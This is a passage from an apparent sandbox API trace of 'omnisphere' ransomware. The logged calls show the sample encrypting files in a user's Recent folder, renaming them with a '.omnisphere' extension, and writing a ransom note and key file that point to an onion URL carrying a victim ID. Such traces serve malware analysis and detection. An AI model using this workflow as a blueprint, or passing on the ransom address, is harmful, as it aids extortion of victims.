hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptDestroyKey (hKey=0x16395e8) returned 1 [0127.047] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0127.047] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.048] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.048] GetProcessHeap () returned 0x1600000 [0127.048] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16ee968 [0127.048] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk.omnisphere")) returned 1 [0127.048] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk.omnisphere.id" [0127.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.050] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.050] CloseHandle (hObject=0x3c0) returned 1 [0127.051] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.051] CloseHandle (hObject=0x288) returned 1 [0127.051] SetEndOfFile (hFile=0x28c) returned 1 [0127.051] FlushFileBuffers (hFile=0x28c) returned 1 [0127.053] CloseHandle (hObject=0x28c) returned 1 [0127.054] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.054] GetProcessHeap () returned 0x1600000 [0127.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.054] GetProcessHeap () returned 0x1600000 [0127.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5cf8 [0127.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5cf8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.054] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.054] GetProcessHeap () returned 0x1600000 [0127.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d84c8 [0127.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d84c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.054] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.054] GetProcessHeap () returned 0x1600000 [0127.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9338 [0127.054] PathCombineW (in: pszDest=0x16d9338, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.054] GetProcessHeap () returned 0x1600000 [0127.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e3e10 [0127.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.054] WriteFile (in: hFile=0x28c, lpBuffer=0x16e3e10*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e3e10*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.055] CloseHandle (hObject=0x28c) returned 1 [0127.055] GetProcessHeap () returned 0x1600000 [0127.055] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.055] GetProcessHeap () returned 0x1600000 [0127.055] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.055] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.055] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.055] CloseHandle (hObject=0x28c) returned 1 [0127.055] GetProcessHeap () returned 0x1600000 [0127.055] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.055] GetProcessHeap () returned 0x1600000 [0127.055] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c0c8 | out: hHeap=0x1600000) returned 1 [0127.055] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x217c5df7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x217c5df7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x217c5df7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0xd3, cFileName="s1tMJCAoYeCFkDG8.lnk", cAlternateFileName="S1TMJC~1.LNK")) returned 1 [0127.056] GetProcessHeap () returned 0x1600000 [0127.056] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16d94a8 [0127.056] PathCombineW (in: pszDest=0x16d94a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="s1tMJCAoYeCFkDG8.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk" [0127.056] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\s1tmjcaoyecfkdg8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.056] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1551) returned 1 [0127.056] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xeb, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.056] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0127.056] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60f, lpName=0x0) returned 0x288 [0127.056] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.056] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.057] CloseHandle (hObject=0x288) returned 1 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.057] GetTickCount () returned 0x115fb44 [0127.058] GetTickCount () returned 0x115fb44 [0127.058] GetTickCount () returned 0x115fb44 [0127.058] GetTickCount () returned 0x115fb44 [0127.058] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ac0) returned 1 [0127.058] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0127.058] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.058] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.058] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0127.058] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60f, lpName=0x0) returned 0x288 [0127.058] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60f) returned 0x1480000 [0127.059] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668240) returned 1 [0127.059] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0127.059] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 